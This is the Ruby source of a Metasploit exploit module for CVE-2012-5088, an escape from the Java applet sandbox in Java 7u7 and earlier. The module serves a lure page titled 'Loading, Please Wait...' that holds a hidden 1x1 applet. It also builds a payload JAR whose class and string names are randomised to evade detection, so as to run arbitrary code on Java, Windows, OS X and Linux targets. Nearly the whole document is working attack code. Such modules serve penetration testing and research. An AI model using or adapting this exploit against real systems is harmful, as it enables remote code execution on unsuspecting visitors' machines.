Java Applet – Method Handle Remote Code Execution (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' require 'rex' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::EXE include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ :javascript => false }) def initialize( info = {} ) super( update_info( info, 'Name' => 'Java Applet Method Handle Remote Code Execution', 'Description' => %q{ This module abuses the Method Handle class from a Java Applet to run arbitrary Java code outside of the sandbox. The vulnerability affects Java version 7u7 and earlier. }, 'License' => MSF_LICENSE, 'Author' => [ 'Unknown', # Vulnerability discovery at security-explorations.com 'juan vazquez' # Metasploit module ], 'References' => [ [ 'CVE', '2012-5088' ], [ 'URL', '86352' ], [ 'BID', '56057' ], [ 'URL', 'http://www.security-explorations.com/materials/SE-2012-01-ORACLE-5.pdf' ], [ 'URL', 'http://www.security-explorations.com/materials/se-2012-01-report.pdf' ] ], 'Platform' => [ 'java', 'win', 'osx', 'linux' ], 'Payload' => { 'Space' => 20480, 'DisableNops' => true }, 'Targets' => [ [ 'Generic (Java Payload)', { 'Platform' => ['java'], 'Arch' => ARCH_JAVA, } ], [ 'Windows x86 (Native Payload)', { 'Platform' => 'win', 'Arch' => ARCH_X86, } ], [ 'Mac OS X x86 (Native Payload)', { 'Platform' => 'osx', 'Arch' => ARCH_X86, } ], [ 'Linux x86 (Native Payload)', { 'Platform' => 'linux', 'Arch' => ARCH_X86, } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Oct 16 2012' )) end def setup path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2012-5088", "Exploit.class") @exploit_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) } path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2012-5088", "B.class") @loader_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) } @exploit_class_name = rand_text_alpha("Exploit".length) @exploit_class.gsub!("Exploit", @exploit_class_name) super end def on_request_uri(cli, request) print_status("handling request for #{request.uri}") case request.uri when /\.jar$/i jar = payload.encoded_jar jar.add_file("#{@exploit_class_name}.class", @exploit_class) jar.add_file("B.class", @loader_class) metasploit_str = rand_text_alpha("metasploit".length) payload_str = rand_text_alpha("payload".length) jar.entries.each { |entry| entry.name.gsub!("metasploit", metasploit_str) entry.name.gsub!("Payload", payload_str) entry.data = entry.data.gsub("metasploit", metasploit_str) entry.data = entry.data.gsub("Payload", payload_str) } jar.build_manifest send_response(cli, jar, { 'Content-Type' => "application/octet-stream" }) when /\/$/ payload = regenerate_payload(cli) if not payload print_error("Failed to generate the payload.") send_not_found(cli) return end send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' }) else send_redirect(cli, get_resource() + '/', '') end end def generate_html html = %Q|<html><head><title>Loading, Please Wait...</title></head>| html += %Q|<body><center><p>Loading, Please Wait...</p></center>| html += %Q|<applet archive="#{rand_text_alpha(8)}.jar" code="#{@exploit_class_name}.class" width="1" height="1">| html += %Q|</applet></body></html>| return html end end |